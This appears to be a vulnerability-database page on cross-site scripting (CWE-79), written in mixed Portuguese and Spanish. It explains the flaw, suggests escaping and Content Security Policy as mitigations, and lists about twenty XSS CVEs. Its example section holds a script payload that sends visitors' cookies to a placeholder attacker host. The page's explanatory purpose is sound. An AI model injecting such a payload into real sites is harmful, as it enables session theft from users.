Fallos del tipo CWE-79

28.941 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2023-40191CRITICALReflected cross-site scripting (XSS) vulnerability in the instance settings for Accounts in Liferay Portal 7.4.3.44 through 7.4.3.97, and LiEPSS 0.6%CVE-2021-24464—YouTube Embed, Playlist and Popup < 2.3.9 - Contributor+ Stored XSSEPSS 0.6%CVE-2023-38491MEDIUMKirby vulnerable to Cross-site scripting (XSS) from MIME type auto-detection of uploaded filesEPSS 0.6%CVE-2021-24691—Quiz And Survey Master < 7.3.2 - Admin+ Stored Cross-Site ScriptingEPSS 0.6%CVE-2023-29025MEDIUMRockwell Automation ArmorStart ST Vulnerable to Cross-Site Scripting AttackEPSS 0.6%CVE-2023-1240HIGHCross-site Scripting (XSS) - Stored in answerdev/answerEPSS 0.6%CVE-2021-24654—User Registration < 2.0.2 - Low Privilege Stored Cross-Site ScriptingEPSS 0.6%CVE-2021-24593—Business Hours Indicator < 2.3.5 - Authenticated Stored XSSEPSS 0.6%CVE-2023-45818MEDIUMCross-site Scripting vulnerability in TinyMCE undo/redo, getContent API, resetContent API, and Autosave pluginEPSS 0.6%CVE-2021-24523—Daily Prayer Time < 2021.08.10 - Authenticated Stored XSSEPSS 0.6%CVE-2021-24505—Forms < 1.12.3 - Authenticated Stored Cross-Site Scripting (XSS)EPSS 0.6%CVE-2021-24367—WP Config File Editor <= 1.7.1 - Authenticated Stored Cross-Site Scripting (XSS)EPSS 0.6%CVE-2021-24277—RSS for Yandex Turbo < 1.30 - Authenticated Stored Cross-Site Scripting (XSS)EPSS 0.6%CVE-2021-24439—Browser Screenshots < 1.7.6 - Contributor+ Stored XSSEPSS 0.6%CVE-2021-24302—Hana Flv Player <= 3.1.3 - Authenticated Stored Cross-Site Scripting (XSS)EPSS 0.6%CVE-2021-24232—Advanced Booking Calendar < 1.6.8 - Authenticated Reflected Cross-Site Scripting (XSS)EPSS 0.6%CVE-2023-3020CRITICALCross-site Scripting (XSS) - Reflected in mkucej/i-librarian-freeEPSS 0.6%CVE-2024-30921MEDIUMCross Site Scripting vulnerability in DerbyNet v9.0 and below allows a remote attacker to execute arbitrary code via the photo.php componentEPSS 0.6%CVE-2022-3391MEDIUMRetain Live Chat <= 0.1 - Admin+ Stored Cross-Site ScriptingEPSS 0.6%CVE-2023-1241HIGHCross-site Scripting (XSS) - Stored in answerdev/answerEPSS 0.6%